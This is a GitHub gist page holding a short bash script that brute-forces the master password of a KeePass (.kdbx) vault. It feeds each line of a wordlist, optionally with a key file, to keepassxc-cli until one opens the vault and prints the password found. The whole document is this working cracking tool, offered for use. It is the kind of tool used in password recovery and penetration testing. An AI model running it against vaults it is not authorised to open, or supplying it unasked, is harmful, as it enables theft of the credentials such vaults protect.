Skip to content

Instantly share code, notes, and snippets.

@colin-stubbs
Created June 2, 2023 05:20
Show Gist options
  • Save colin-stubbs/62159c47994917c180269c89decd05ad to your computer and use it in GitHub Desktop.
Save colin-stubbs/62159c47994917c180269c89decd05ad to your computer and use it in GitHub Desktop.
KeePass vault brute forcing script with support for key files
#!/bin/bash -l
#
# KeePass brute force script with support for key file based vaults
#
if [ $# -ne 2 ] && [ $# -ne 3 ] ; then
/bin/echo "Usage $0 <kdbx-file> <wordlist> [<key-file>]"
exit 2
fi
dep="keepassxc-cli"
command -v $dep >/dev/null 2>&1 || { /bin/echo >&2 "Error: $dep not installed. Aborting."; exit 1; }
n_total=$( wc -l < $2 | sed -E 's/[\ \t]//g' )
n_tested=0
IFS=''
while read -r line; do
n_tested=$((n_tested + 1))
/bin/echo "[+] Words tested: $n_tested/$n_total ($line)"
if [ "${3}x" != "x" ] ; then
/bin/echo $line | ${dep} open --key-file ${3} $1 1>/dev/null 2>&1
else
/bin/echo $line | ${dep} open $1 1>/dev/null 2>&1
fi
if [ $? -eq 0 ]
then
/bin/echo ""
/bin/echo "[*] Password found: $line"; exit 0;
fi
done < $2
/bin/echo ""
/bin/echo "[!] Wordlist exhausted, no match found"; exit 3;
# EOF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment